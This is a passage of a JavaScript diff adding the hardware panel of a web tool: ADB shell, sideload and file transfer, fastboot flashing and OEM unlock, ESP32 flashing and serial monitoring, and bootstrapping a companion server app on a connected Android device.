    '; + container.innerHTML = html; + }); +} + +function wsExport(fmt) { + postJSON('/wireshark/export', {format: fmt}).then(function(data) { + if (data.error) { alert('Export error: ' + data.error); return; } + alert('Exported ' + data.count + ' packets to:\n' + data.filepath); + }); +} + +// ==================== HARDWARE ==================== + +var hwSelectedAdb = ''; +var hwSelectedFb = ''; +var hwMonitorES = null; +var hwConnectionMode = 'server'; // 'server' or 'direct' + +// ── Mode Switching ── + +function hwSetMode(mode) { + hwConnectionMode = mode; + localStorage.setItem('hw_connection_mode', mode); + + // Toggle button states + var serverBtn = document.getElementById('hw-mode-server'); + var directBtn = document.getElementById('hw-mode-direct'); + if (serverBtn) serverBtn.classList.toggle('active', mode === 'server'); + if (directBtn) directBtn.classList.toggle('active', mode === 'direct'); + + // Toggle status cards + var serverStatus = document.getElementById('hw-status-server'); + var directStatus = document.getElementById('hw-status-direct'); + if (serverStatus) serverStatus.style.display = mode === 'server' ? '' : 'none'; + if (directStatus) directStatus.style.display = mode === 'direct' ? '' : 'none'; + + // Toggle server-only vs direct-only elements + var serverEls = ['hw-adb-refresh-bar', 'hw-fb-refresh-bar', 'hw-serial-section', + 'hw-sideload-server', 'hw-transfer-server', 'hw-fb-firmware-server', + 'hw-esp-flash-server', 'hw-monitor-server']; + var directEls = ['hw-direct-adb-connect', 'hw-direct-fb-connect', 'hw-direct-esp-connect', + 'hw-sideload-direct', 'hw-transfer-direct', 'hw-fb-firmware-direct', + 'hw-esp-flash-direct', 'hw-monitor-direct']; + + serverEls.forEach(function(id) { + var el = document.getElementById(id); + if (el) el.style.display = mode === 'server' ? '' : 'none'; + }); + directEls.forEach(function(id) { + var el = document.getElementById(id); + if (el) el.style.display = mode === 'direct' ? '' : 'none'; + }); + + // Direct mode: check browser capabilities + if (mode === 'direct') { + hwCheckDirectCapabilities(); + // Hide server device lists in direct mode + var adbSection = document.getElementById('hw-adb-section'); + if (adbSection) adbSection.style.display = 'none'; + var fbSection = document.getElementById('hw-fastboot-section'); + if (fbSection) fbSection.style.display = 'none'; + } else { + var adbSection = document.getElementById('hw-adb-section'); + if (adbSection) adbSection.style.display = ''; + var fbSection = document.getElementById('hw-fastboot-section'); + if (fbSection) fbSection.style.display = ''; + hwRefreshAdbDevices(); + hwRefreshFastbootDevices(); + hwRefreshSerialPorts(); + } + + // Factory flash tab: check mode + var factoryWarning = document.getElementById('hw-factory-requires-direct'); + var factoryControls = document.getElementById('hw-factory-controls'); + if (factoryWarning && factoryControls) { + factoryWarning.style.display = mode === 'direct' ? 'none' : 'block'; + factoryControls.style.display = mode === 'direct' ? '' : 'none'; + } + + // Warning message + var warning = document.getElementById('hw-mode-warning'); + if (warning) { + if (mode === 'direct' && typeof HWDirect !== 'undefined' && !HWDirect.supported.webusb) { + warning.style.display = 'block'; + if (typeof window.isSecureContext !== 'undefined' && !window.isSecureContext) { + warning.textContent = 'WebUSB requires a secure context (HTTPS). You are accessing over plain HTTP — set [web] https = true in autarch.conf or access via https://. Restart the server after changing config.'; + } else { + warning.textContent = 'WebUSB is not supported in this browser. Direct mode requires Chrome, Edge, or another Chromium-based browser.'; + } + } else { + warning.style.display = 'none'; + } + } +} + +function hwCheckDirectCapabilities() { + if (typeof HWDirect === 'undefined') return; + var usbDot = document.getElementById('hw-cap-webusb'); + var usbText = document.getElementById('hw-cap-webusb-text'); + var serialDot = document.getElementById('hw-cap-webserial'); + var serialText = document.getElementById('hw-cap-webserial-text'); + if (usbDot) { + usbDot.className = 'status-dot ' + (HWDirect.supported.webusb ? 'active' : 'inactive'); + if (usbText) usbText.textContent = HWDirect.supported.webusb ? 'Supported' : 'Not available'; + } + if (serialDot) { + serialDot.className = 'status-dot ' + (HWDirect.supported.webserial ? 'active' : 'inactive'); + if (serialText) serialText.textContent = HWDirect.supported.webserial ? 'Supported' : 'Not available'; + } + hwUpdateDirectStatus(); +} + +function hwUpdateDirectStatus() { + if (typeof HWDirect === 'undefined') return; + var adbDot = document.getElementById('hw-direct-adb-status'); + var adbText = document.getElementById('hw-direct-adb-text'); + var fbDot = document.getElementById('hw-direct-fb-status'); + var fbText = document.getElementById('hw-direct-fb-text'); + if (adbDot) { + adbDot.className = 'status-dot ' + (HWDirect.adbIsConnected() ? 'active' : 'inactive'); + if (adbText) adbText.textContent = HWDirect.adbIsConnected() ? 'Connected' : 'Not connected'; + } + if (fbDot) { + fbDot.className = 'status-dot ' + (HWDirect.fbIsConnected() ? 'active' : 'inactive'); + if (fbText) fbText.textContent = HWDirect.fbIsConnected() ? 'Connected' : 'Not connected'; + } +} + +// ── Direct-mode ADB ── + +async function hwDirectAdbConnect() { + var msg = document.getElementById('hw-direct-adb-msg'); + msg.textContent = 'Requesting USB device...'; + try { + var device = await HWDirect.adbRequestDevice(); + if (!device) { msg.textContent = 'Cancelled'; return; } + msg.textContent = 'Connecting to ' + (device.name || device.serial) + '...'; + await HWDirect.adbConnect(device); + msg.innerHTML = 'Connected: ' + escapeHtml(device.serial || device.name) + ''; + document.getElementById('hw-direct-adb-disconnect-btn').style.display = 'inline-block'; + hwUpdateDirectStatus(); + // Show device actions and load info + hwSelectedAdb = device.serial || 'direct'; + document.getElementById('hw-selected-serial').textContent = device.serial || device.name; + document.getElementById('hw-device-actions').style.display = 'block'; + hwDeviceInfo(); + } catch (e) { + msg.innerHTML = '' + escapeHtml(e.message) + ''; + } +} + +async function hwDirectAdbDisconnect() { + await HWDirect.adbDisconnect(); + document.getElementById('hw-direct-adb-msg').textContent = 'Disconnected'; + document.getElementById('hw-direct-adb-disconnect-btn').style.display = 'none'; + document.getElementById('hw-device-actions').style.display = 'none'; + hwSelectedAdb = ''; + hwUpdateDirectStatus(); +} + +// ── Direct-mode Fastboot ── + +async function hwDirectFbConnect() { + var msg = document.getElementById('hw-direct-fb-msg'); + msg.textContent = 'Requesting USB device...'; + try { + await HWDirect.fbConnect(); + msg.innerHTML = 'Fastboot device connected'; + document.getElementById('hw-direct-fb-disconnect-btn').style.display = 'inline-block'; + hwUpdateDirectStatus(); + hwSelectedFb = 'direct'; + document.getElementById('hw-fb-selected').textContent = 'Direct USB'; + document.getElementById('hw-fastboot-actions').style.display = 'block'; + hwFastbootInfo(); + } catch (e) { + msg.innerHTML = '' + escapeHtml(e.message) + ''; + } +} + +async function hwDirectFbDisconnect() { + await HWDirect.fbDisconnect(); + document.getElementById('hw-direct-fb-msg').textContent = 'Disconnected'; + document.getElementById('hw-direct-fb-disconnect-btn').style.display = 'none'; + document.getElementById('hw-fastboot-actions').style.display = 'none'; + hwSelectedFb = ''; + hwUpdateDirectStatus(); +} + +// ── Direct-mode ESP32 ── + +async function hwDirectEspConnect() { + var msg = document.getElementById('hw-direct-esp-msg'); + msg.textContent = 'Select serial port...'; + try { + await HWDirect.espRequestPort(); + msg.innerHTML = 'Serial port selected'; + document.getElementById('hw-direct-esp-disconnect-btn').style.display = 'inline-block'; + } catch (e) { + msg.innerHTML = '' + escapeHtml(e.message) + ''; + } +} + +async function hwDirectEspDisconnect() { + await HWDirect.espDisconnect(); + document.getElementById('hw-direct-esp-msg').textContent = 'Disconnected'; + document.getElementById('hw-direct-esp-disconnect-btn').style.display = 'none'; +} + +// ── Archon Server Bootstrap ── + +function hwArchonBootstrap() { + var out = document.getElementById('hw-archon-output'); + if (!out) return; + out.textContent = 'Discovering device and bootstrapping ArchonServer...'; + + // Step 1: Find connected device + fetchJSON('/hardware/adb/devices').then(function(data) { + var devices = data.devices || []; + if (devices.length === 0) { + out.textContent = 'ERROR: No ADB devices connected. Connect phone via USB.'; + return; + } + var serial = devices[0].serial; + out.textContent = 'Found device: ' + serial + '\nGetting APK path...'; + + // Step 2: Get the Archon APK path + fetchJSON('/hardware/adb/shell', { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({serial: serial, command: 'pm path com.darkhal.archon'}) + }).then(function(r) { + var stdout = r.stdout || ''; + var apkPath = stdout.replace('package:', '').trim().split('\n')[0]; + if (!apkPath || !apkPath.startsWith('/data/app/')) { + out.textContent += '\nERROR: Archon app not installed on device.\npm path output: ' + stdout; + return; + } + out.textContent += '\nAPK: ' + apkPath; + + // Step 3: Generate token and bootstrap + var token = ''; + for (var i = 0; i < 32; i++) { + token += '0123456789abcdef'[Math.floor(Math.random() * 16)]; + } + + out.textContent += '\nToken: ' + token + '\nBootstrapping...'; + + fetchJSON('/hardware/archon/bootstrap', { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({apk_path: apkPath, token: token, port: 17321}) + }).then(function(result) { + if (result.ok) { + out.textContent += '\nBootstrap command sent!'; + out.textContent += '\nstdout: ' + (result.stdout || ''); + if (result.stderr) out.textContent += '\nstderr: ' + result.stderr; + out.textContent += '\n\nWaiting for server to start...'; + + // Step 4: Check if server started (ping via device) + setTimeout(function() { + fetchJSON('/hardware/adb/shell', { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({serial: serial, command: 'cat /data/local/tmp/archon_server.log'}) + }).then(function(logResult) { + out.textContent += '\n\n── Server Log ──\n' + (logResult.stdout || logResult.stderr || 'empty'); + }); + }, 3000); + } else { + out.textContent += '\nERROR: ' + (result.error || result.stderr || JSON.stringify(result)); + } + }); + }); + }); +} + +function hwArchonStatus() { + var out = document.getElementById('hw-archon-output'); + if (!out) return; + out.textContent = 'Checking ArchonServer status...'; + + fetchJSON('/hardware/adb/devices').then(function(data) { + var devices = data.devices || []; + if (devices.length === 0) { + out.textContent = 'No ADB devices connected.'; + return; + } + var serial = devices[0].serial; + + fetchJSON('/hardware/adb/shell', { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({serial: serial, command: 'cat /data/local/tmp/archon_server.log 2>&1; echo "---"; ps -A | grep archon 2>/dev/null || echo "No archon process"'}) + }).then(function(r) { + out.textContent = '── Server Log ──\n' + (r.stdout || 'No log file') + '\n' + (r.stderr || ''); + }); + }); +} + +function hwArchonStop() { + var out = document.getElementById('hw-archon-output'); + if (!out) return; + out.textContent = 'Stopping ArchonServer...'; + + fetchJSON('/hardware/adb/devices').then(function(data) { + var devices = data.devices || []; + if (devices.length === 0) { + out.textContent = 'No ADB devices connected.'; + return; + } + var serial = devices[0].serial; + + fetchJSON('/hardware/adb/shell', { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({serial: serial, command: "pkill -f 'com.darkhal.archon.server.ArchonServer' 2>/dev/null && echo 'Killed' || echo 'Not running'"}) + }).then(function(r) { + out.textContent = r.stdout || r.stderr || 'Done'; + }); + }); +} + +// ── ADB (mode-aware) ── + +function hwRefreshAdbDevices() { + if (hwConnectionMode === 'direct') return; // Direct mode uses connect buttons + var container = document.getElementById('hw-adb-devices'); + if (!container) return; + container.innerHTML = '
    Scanning...
    '; + fetchJSON('/hardware/adb/devices').then(function(data) { + var devices = data.devices || []; + if (devices.length === 0) { + container.innerHTML = '
    No ADB devices connected
    '; + document.getElementById('hw-device-actions').style.display = 'none'; + return; + } + var html = ''; + devices.forEach(function(d) { + var sel = d.serial === hwSelectedAdb ? ' style="background:rgba(99,102,241,0.08)"' : ''; + html += '' + + '' + + '' + + '' + + ''; + }); + html += '
    SerialStateModelProduct
    ' + escapeHtml(d.serial) + '' + escapeHtml(d.state) + '' + escapeHtml(d.model || '') + '' + escapeHtml(d.product || '') + '
    '; + container.innerHTML = html; + }); +} + +function hwSelectDevice(serial) { + hwSelectedAdb = serial; + document.getElementById('hw-selected-serial').textContent = serial; + document.getElementById('hw-device-actions').style.display = 'block'; + hwDeviceInfo(serial); + hwRefreshAdbDevices(); +} + +function hwDeviceInfo(serial) { + var container = document.getElementById('hw-device-info'); + container.innerHTML = '
    Loading...
    '; + + if (hwConnectionMode === 'direct') { + HWDirect.adbGetInfo().then(function(data) { + hwRenderDeviceInfo(container, data); + }).catch(function(e) { + container.innerHTML = '
    ' + escapeHtml(e.message) + '
    '; + }); + } else { + postJSON('/hardware/adb/info', {serial: serial}).then(function(data) { + if (data.error) { container.innerHTML = '
    ' + escapeHtml(data.error) + '
    '; return; } + hwRenderDeviceInfo(container, data); + }); + } +} + +function hwRenderDeviceInfo(container, data) { + var html = ''; + var keys = ['model', 'brand', 'android_version', 'sdk', 'build', 'security_patch', 'cpu_abi', 'battery', 'battery_status', 'storage_total', 'storage_used', 'storage_free', 'serialno']; + keys.forEach(function(k) { + if (data[k]) { + var label = k.replace(/_/g, ' ').replace(/\b\w/g, function(c){return c.toUpperCase();}); + html += '
    ' + label + '
    ' + escapeHtml(data[k]) + '
    '; + } + }); + container.innerHTML = html || '
    No properties available
    '; +} + +function hwShell() { + if (!hwSelectedAdb) { alert('No device selected'); return; } + var input = document.getElementById('hw-shell-cmd'); + var cmd = input.value.trim(); + if (!cmd) return; + var output = document.getElementById('hw-shell-output'); + var existing = output.textContent; + output.textContent = existing + (existing ? '\n' : '') + '$ ' + cmd + '\n...'; + + var promise; + if (hwConnectionMode === 'direct') { + promise = HWDirect.adbShell(cmd).then(function(data) { + return data.output || data.error || ''; + }); + } else { + promise = postJSON('/hardware/adb/shell', {serial: hwSelectedAdb, command: cmd}).then(function(data) { + return data.output || data.error || ''; + }); + } + + promise.then(function(result) { + output.textContent = existing + (existing ? '\n' : '') + '$ ' + cmd + '\n' + result; + output.scrollTop = output.scrollHeight; + }); + input.value = ''; +} + +function hwReboot(mode) { + if (!hwSelectedAdb) { alert('No device selected'); return; } + if (!confirm('Reboot device to ' + mode + '?')) return; + + if (hwConnectionMode === 'direct') { + HWDirect.adbReboot(mode).then(function() { + alert('Rebooting...'); + hwDirectAdbDisconnect(); + }).catch(function(e) { alert('Reboot failed: ' + e.message); }); + } else { + postJSON('/hardware/adb/reboot', {serial: hwSelectedAdb, mode: mode}).then(function(data) { + alert(data.output || (data.success ? 'Rebooting...' : 'Failed')); + setTimeout(hwRefreshAdbDevices, 3000); + }); + } +} + +function hwSideload() { + // Server mode only + if (!hwSelectedAdb) { alert('No device selected'); return; } + var filepath = document.getElementById('hw-sideload-path').value.trim(); + if (!filepath) { alert('Enter file path'); return; } + var progDiv = document.getElementById('hw-sideload-progress'); + progDiv.style.display = 'block'; + document.getElementById('hw-sideload-fill').style.width = '0%'; + document.getElementById('hw-sideload-pct').textContent = '0%'; + document.getElementById('hw-sideload-msg').textContent = 'Starting...'; + + postJSON('/hardware/adb/sideload', {serial: hwSelectedAdb, filepath: filepath}).then(function(data) { + if (!data.success) { + document.getElementById('hw-sideload-msg').textContent = data.error || 'Failed'; + return; + } + hwTrackProgress(data.op_id, 'hw-sideload-fill', 'hw-sideload-pct', 'hw-sideload-msg'); + }); +} + +async function hwSideloadDirect() { + // Direct mode: install APK from file picker + if (!HWDirect.adbIsConnected()) { alert('No ADB device connected'); return; } + var fileInput = document.getElementById('hw-sideload-file'); + if (!fileInput.files.length) { alert('Select an APK file'); return; } + var file = fileInput.files[0]; + document.getElementById('hw-sideload-msg').textContent = 'Installing ' + file.name + '...'; + document.getElementById('hw-sideload-progress').style.display = 'block'; + try { + var result = await HWDirect.adbInstall(file); + document.getElementById('hw-sideload-msg').textContent = result.output || 'Done'; + } catch (e) { + document.getElementById('hw-sideload-msg').textContent = 'Failed: ' + e.message; + } +} + +function hwTrackProgress(opId, fillId, pctId, msgId) { + var es = new EventSource('/hardware/progress/stream?op_id=' + encodeURIComponent(opId)); + es.onmessage = function(e) { + var data = JSON.parse(e.data); + var fill = document.getElementById(fillId); + var pct = document.getElementById(pctId); + var msg = document.getElementById(msgId); + if (fill) fill.style.width = data.progress + '%'; + if (pct) pct.textContent = data.progress + '%'; + if (msg) msg.textContent = data.message || ''; + if (data.status === 'done' || data.status === 'error' || data.status === 'unknown') { + es.close(); + } + }; + es.onerror = function() { es.close(); }; +} + +function hwPush() { + // Server mode + if (!hwSelectedAdb) { alert('No device selected'); return; } + var local = document.getElementById('hw-push-local').value.trim(); + var remote = document.getElementById('hw-push-remote').value.trim(); + if (!local || !remote) { alert('Enter both local and remote paths'); return; } + var msg = document.getElementById('hw-transfer-msg'); + msg.textContent = 'Pushing...'; + postJSON('/hardware/adb/push', {serial: hwSelectedAdb, local: local, remote: remote}).then(function(data) { + msg.textContent = data.output || data.error || (data.success ? 'Done' : 'Failed'); + }); +} + +async function hwPushDirect() { + // Direct mode: push file from picker + if (!HWDirect.adbIsConnected()) { alert('No ADB device connected'); return; } + var fileInput = document.getElementById('hw-push-file'); + var remote = document.getElementById('hw-push-remote-direct').value.trim(); + if (!fileInput.files.length) { alert('Select a file'); return; } + if (!remote) { alert('Enter remote path'); return; } + var msg = document.getElementById('hw-transfer-msg'); + msg.textContent = 'Pushing...'; + try { + await HWDirect.adbPush(fileInput.files[0], remote); + msg.textContent = 'Push complete'; + } catch (e) { + msg.textContent = 'Failed: ' + e.message; + } +} + +async function hwPullDirect() { + // Direct mode: pull file and download + if (!HWDirect.adbIsConnected()) { alert('No ADB device connected'); return; } + var remote = document.getElementById('hw-push-remote-direct').value.trim(); + if (!remote) { alert('Enter remote path'); return; } + var msg = document.getElementById('hw-transfer-msg'); + msg.textContent = 'Pulling...'; + try { + var blob = await HWDirect.adbPull(remote); + var filename = remote.split('/').pop() || 'pulled_file'; + HWDirect.downloadBlob(blob, filename); + msg.textContent = 'Downloaded: ' + filename; + } catch (e) { + msg.textContent = 'Failed: ' + e.message; + } +} + +function hwPull() { + // Server mode + if (!hwSelectedAdb) { alert('No device selected'); return; } + var remote = document.getElementById('hw-push-remote').value.trim(); + if (!remote) { alert('Enter remote path'); return; } + var msg = document.getElementById('hw-transfer-msg'); + msg.textContent = 'Pulling...'; + postJSON('/hardware/adb/pull', {serial: hwSelectedAdb, remote: remote}).then(function(data) { + msg.textContent = data.output || data.error || (data.success ? 'Saved to: ' + data.local_path : 'Failed'); + }); +} + +function hwLogcat() { + if (!hwSelectedAdb) { alert('No device selected'); return; } + var lines = document.getElementById('hw-logcat-lines').value || 50; + var output = document.getElementById('hw-logcat-output'); + output.style.display = 'block'; + output.textContent = 'Loading...'; + + if (hwConnectionMode === 'direct') { + HWDirect.adbLogcat(parseInt(lines)).then(function(data) { + output.textContent = data.output || 'No output'; + output.scrollTop = output.scrollHeight; + }); + } else { + postJSON('/hardware/adb/logcat', {serial: hwSelectedAdb, lines: parseInt(lines)}).then(function(data) { + output.textContent = data.output || 'No output'; + output.scrollTop = output.scrollHeight; + }); + } +} + +// ── Fastboot (mode-aware) ── + +function hwRefreshFastbootDevices() { + if (hwConnectionMode === 'direct') return; + var container = document.getElementById('hw-fastboot-devices'); + if (!container) return; + container.innerHTML = '
    Scanning...
    '; + fetchJSON('/hardware/fastboot/devices').then(function(data) { + var devices = data.devices || []; + if (devices.length === 0) { + container.innerHTML = '
    No Fastboot devices connected
    '; + document.getElementById('hw-fastboot-actions').style.display = 'none'; + return; + } + var html = ''; + devices.forEach(function(d) { + html += '' + + '' + + ''; + }); + html += '
    SerialState
    ' + escapeHtml(d.serial) + '' + escapeHtml(d.state) + '
    '; + container.innerHTML = html; + }); +} + +function hwSelectFastboot(serial) { + hwSelectedFb = serial; + document.getElementById('hw-fb-selected').textContent = serial; + document.getElementById('hw-fastboot-actions').style.display = 'block'; + hwFastbootInfo(serial); +} + +function hwFastbootInfo(serial) { + var container = document.getElementById('hw-fastboot-info'); + container.innerHTML = '
    Loading...
    '; + + if (hwConnectionMode === 'direct') { + HWDirect.fbGetInfo().then(function(data) { + hwRenderFastbootInfo(container, data); + }).catch(function(e) { + container.innerHTML = '
    ' + escapeHtml(e.message) + '
    '; + }); + } else { + postJSON('/hardware/fastboot/info', {serial: serial}).then(function(data) { + if (data.error) { container.innerHTML = '
    ' + escapeHtml(data.error) + '
    '; return; } + hwRenderFastbootInfo(container, data); + }); + } +} + +function hwRenderFastbootInfo(container, data) { + var html = ''; + Object.keys(data).forEach(function(k) { + if (data[k]) { + var label = k.replace(/[-_]/g, ' ').replace(/\b\w/g, function(c){return c.toUpperCase();}); + html += '
    ' + label + '
    ' + escapeHtml(data[k]) + '
    '; + } + }); + container.innerHTML = html || '
    No info available
    '; +} + +function hwFastbootFlash() { + if (!hwSelectedFb) { alert('No fastboot device selected'); return; } + var partition = document.getElementById('hw-fb-partition').value; + + if (hwConnectionMode === 'direct') { + var fileInput = document.getElementById('hw-fb-firmware-file'); + if (!fileInput.files.length) { alert('Select firmware file'); return; } + if (!confirm('Flash ' + partition + ' partition?')) return; + var progDiv = document.getElementById('hw-fb-flash-progress'); + progDiv.style.display = 'block'; + document.getElementById('hw-fb-flash-fill').style.width = '0%'; + document.getElementById('hw-fb-flash-pct').textContent = '0%'; + document.getElementById('hw-fb-flash-msg').textContent = 'Flashing...'; + + HWDirect.fbFlash(partition, fileInput.files[0], function(progress) { + var pct = Math.round(progress * 100); + document.getElementById('hw-fb-flash-fill').style.width = pct + '%'; + document.getElementById('hw-fb-flash-pct').textContent = pct + '%'; + }).then(function() { + document.getElementById('hw-fb-flash-msg').textContent = 'Flash complete'; + }).catch(function(e) { + document.getElementById('hw-fb-flash-msg').textContent = 'Failed: ' + e.message; + }); + } else { + var filepath = document.getElementById('hw-fb-firmware').value.trim(); + if (!filepath) { alert('Enter firmware file path'); return; } + if (!confirm('Flash ' + partition + ' partition on ' + hwSelectedFb + '?')) return; + var progDiv = document.getElementById('hw-fb-flash-progress'); + progDiv.style.display = 'block'; + document.getElementById('hw-fb-flash-fill').style.width = '0%'; + document.getElementById('hw-fb-flash-pct').textContent = '0%'; + document.getElementById('hw-fb-flash-msg').textContent = 'Starting...'; + + postJSON('/hardware/fastboot/flash', {serial: hwSelectedFb, partition: partition, filepath: filepath}).then(function(data) { + if (!data.success) { + document.getElementById('hw-fb-flash-msg').textContent = data.error || 'Failed'; + return; + } + hwTrackProgress(data.op_id, 'hw-fb-flash-fill', 'hw-fb-flash-pct', 'hw-fb-flash-msg'); + }); + } +} + +function hwFastbootReboot(mode) { + if (!hwSelectedFb) { alert('No fastboot device selected'); return; } + if (!confirm('Reboot fastboot device to ' + mode + '?')) return; + + if (hwConnectionMode === 'direct') { + HWDirect.fbReboot(mode).then(function() { + var msg = document.getElementById('hw-fb-msg'); + msg.textContent = 'Rebooting...'; + hwDirectFbDisconnect(); + }).catch(function(e) { + document.getElementById('hw-fb-msg').textContent = 'Failed: ' + e.message; + }); + } else { + postJSON('/hardware/fastboot/reboot', {serial: hwSelectedFb, mode: mode}).then(function(data) { + var msg = document.getElementById('hw-fb-msg'); + msg.textContent = data.output || (data.success ? 'Rebooting...' : 'Failed'); + setTimeout(function() { hwRefreshFastbootDevices(); hwRefreshAdbDevices(); }, 3000); + }); + } +} + +function hwFastbootUnlock() { + document.getElementById('hw-fb-confirm').style.display = 'block'; +} + +function hwFastbootUnlockConfirm() { + if (!hwSelectedFb) return; + document.getElementById('hw-fb-confirm').style.display = 'none'; + var msg = document.getElementById('hw-fb-msg'); + msg.textContent = 'Sending OEM unlock...'; + + if (hwConnectionMode === 'direct') { + HWDirect.fbOemUnlock().then(function() { + msg.textContent = 'OEM Unlock sent'; + }).catch(function(e) { + msg.textContent = 'Failed: ' + e.message; + }); + } else { + postJSON('/hardware/fastboot/unlock', {serial: hwSelectedFb}).then(function(data) { + msg.textContent = data.output || (data.success ? 'OEM Unlock sent' : 'Failed'); + }); + } +} + +// ── Serial / ESP32 (mode-aware) ── + +function hwRefreshSerialPorts() { + if (hwConnectionMode === 'direct') return; + fetchJSON('/hardware/serial/ports').then(function(data) { + var ports = data.ports || []; + var container = document.getElementById('hw-serial-ports'); + if (container) { + if (ports.length === 0) { + container.innerHTML = '
    No serial ports detected
    '; + } else { + var html = ''; + ports.forEach(function(p) { + var vidpid = (p.vid && p.pid) ? p.vid + ':' + p.pid : ''; + html += '' + + '' + + '' + + ''; + }); + html += '
    PortDescriptionVID:PIDManufacturer
    ' + escapeHtml(p.port) + '' + escapeHtml(p.desc) + '' + escapeHtml(vidpid) + '' + escapeHtml(p.manufacturer || '') + '
    '; + container.innerHTML = html; + } + } + ['hw-detect-port', 'hw-flash-port', 'hw-monitor-port'].forEach(function(id) { + var sel = document.getElementById(id); + if (!sel) return; + var val = sel.value; + sel.innerHTML = ''; + ports.forEach(function(p) { + var opt = document.createElement('option'); + opt.value = p.port; + opt.textContent = p.port + ' - ' + p.desc; + sel.appendChild(opt); + }); + if (val) sel.value = val; + }); + }); +} + +function hwDetectChip() { + if (hwConnectionMode === 'direct') { + var msg = document.getElementById('hw-detect-result'); + msg.textContent = 'Connecting to chip...'; + var baud = parseInt(document.getElementById('hw-detect-baud').value || '115200'); + HWDirect.espConnect(baud).then(function(result) { + msg.innerHTML = 'Chip: ' + escapeHtml(result.chip) + ''; + }).catch(function(e) { + msg.innerHTML = '' + escapeHtml(e.message) + ''; + }); + return; + } + var port = document.getElementById('hw-detect-port').value; + var baud = document.getElementById('hw-detect-baud').value; + if (!port) { alert('Select a port'); return; } + var result = document.getElementById('hw-detect-result'); + result.textContent = 'Detecting...'; + postJSON('/hardware/serial/detect', {port: port, baud: parseInt(baud)}).then(function(data) { + if (data.success) { + result.innerHTML = 'Chip: ' + escapeHtml(data.chip) + '' + + (data.chip_id ? '
    Chip ID: ' + escapeHtml(data.chip_id) : ''); + } else { + result.innerHTML = '' + escapeHtml(data.error || 'Detection failed') + ''; + } + }); +} + +function hwFlashEsp() { + if (hwConnectionMode === 'direct') { + var fileInput = document.getElementById('hw-flash-firmware-file'); + if (!fileInput.files.length) { alert('Select firmware file'); return; } + if (!confirm('Flash firmware?')) return; + + var progDiv = document.getElementById('hw-esp-flash-progress'); + progDiv.style.display = 'block'; + document.getElementById('hw-esp-flash-fill').style.width = '0%'; + document.getElementById('hw-esp-flash-pct').textContent = '0%'; + document.getElementById('hw-esp-flash-msg').textContent = 'Reading file...'; + + var address = parseInt(document.getElementById('hw-flash-address').value || '0', 16); + var baud = parseInt(document.getElementById('hw-flash-baud-direct').value || '460800'); + + HWDirect.readFileAsBytes(fileInput.files[0]).then(function(bytes) { + // Connect if not already connected + var connectPromise = HWDirect.espIsConnected() ? Promise.resolve() : HWDirect.espConnect(baud); + return connectPromise.then(function() { + document.getElementById('hw-esp-flash-msg').textContent = 'Flashing...'; + return HWDirect.espFlash( + [{ data: bytes, address: address }], + function(fileIndex, written, total) { + var pct = total > 0 ? Math.round((written / total) * 100) : 0; + document.getElementById('hw-esp-flash-fill').style.width = pct + '%'; + document.getElementById('hw-esp-flash-pct').textContent = pct + '%'; + } + ); + }); + }).then(function() { + document.getElementById('hw-esp-flash-msg').textContent = 'Flash complete'; + document.getElementById('hw-esp-flash-fill').style.width = '100%'; + document.getElementById('hw-esp-flash-pct').textContent = '100%'; + }).catch(function(e) { + document.getElementById('hw-esp-flash-msg').textContent = 'Failed: ' + e.message; + }); + return; + } + + // Server mode + var port = document.getElementById('hw-flash-port').value; + var baud = document.getElementById('hw-flash-baud').value; + var firmware = document.getElementById('hw-flash-firmware').value.trim(); + if (!port) { alert('Select a port'); return; } + if (!firmware) { alert('Enter firmware file path'); return; } + if (!confirm('Flash firmware to ' + port + '?')) return; + + var progDiv = document.getElementById('hw-esp-flash-progress'); + progDiv.style.display = 'block'; + document.getElementById('hw-esp-flash-fill').style.width = '0%'; + document.getElementById('hw-esp-flash-pct').textContent = '0%'; + document.getElementById('hw-esp-flash-msg').textContent = 'Starting...'; + + postJSON('/hardware/serial/flash', {port: port, filepath: firmware, baud: parseInt(baud)}).then(function(data) { + if (!data.success) { + document.getElementById('hw-esp-flash-msg').textContent = data.error || 'Failed'; + return; + } + hwTrackProgress(data.op_id, 'hw-esp-flash-fill', 'hw-esp-flash-pct', 'hw-esp-flash-msg'); + }); +} + +function hwMonitorStart() { + if (hwConnectionMode === 'direct') { + var baud = parseInt(document.getElementById('hw-monitor-baud-direct').value || '115200'); + var output = document.getElementById('hw-monitor-output'); + HWDirect.espMonitorStart(baud, function(text) { + output.textContent += text; + output.scrollTop = output.scrollHeight; + }).then(function() { + document.getElementById('hw-monitor-start-btn').style.display = 'none'; + document.getElementById('hw-monitor-stop-btn').style.display = 'inline-block'; + }).catch(function(e) { + alert('Monitor failed: ' + e.message); + }); + return; + } + + // Server mode + var port = document.getElementById('hw-monitor-port').value; + var baud = document.getElementById('hw-monitor-baud').value; + if (!port) { alert('Select a port'); return; } + postJSON('/hardware/serial/monitor/start', {port: port, baud: parseInt(baud)}).then(function(data) { + if (!data.success) { alert(data.error || 'Failed to start monitor'); return; } + document.getElementById('hw-monitor-start-btn').style.display = 'none'; + document.getElementById('hw-monitor-stop-btn').style.display = 'inline-block'; + hwMonitorStream(); + }); +} + +function hwMonitorStop() { + if (hwConnectionMode === 'direct') { + HWDirect.espMonitorStop(); + document.getElementById('hw-monitor-start-btn').style.display = 'inline-block'; + document.getElementById('hw-monitor-stop-btn').style.display = 'none'; + return; + } + if (hwMonitorES) { hwMonitorES.close(); hwMonitorES = null; } + postJSON('/hardware/serial/monitor/stop', {}).then(function() { + document.getElementById('hw-monitor-start-btn').style.display = 'inline-block'; + document.getElementById('hw-monitor-stop-btn').style.display = 'none'; + }); +} + +function hwMonitorStream() { + if (hwMonitorES) hwMonitorES.close(); + hwMonitorES = new EventSource('/hardware/serial/monitor/stream'); + var output = document.getElementById('hw-monitor-output'); + hwMonitorES.onmessage = function(e) { + var data = JSON.parse(e.data); + if (data.type === 'data') { + output.textContent += data.line + '\n'; + output.scrollTop = output.scrollHeight; + } else if (data.type === 'stopped') { + hwMonitorES.close(); + hwMonitorES = null; + document.getElementById('hw-monitor-start-btn').style.display = 'inline-block'; + document.getElementById('hw-monitor-stop-btn').style.display = 'none'; + } + }; + hwMonitorES.onerror = function() { + hwMonitorES.close(); + hwMonitorES = null; + }; +} + +function hwMonitorSend() { + var input = 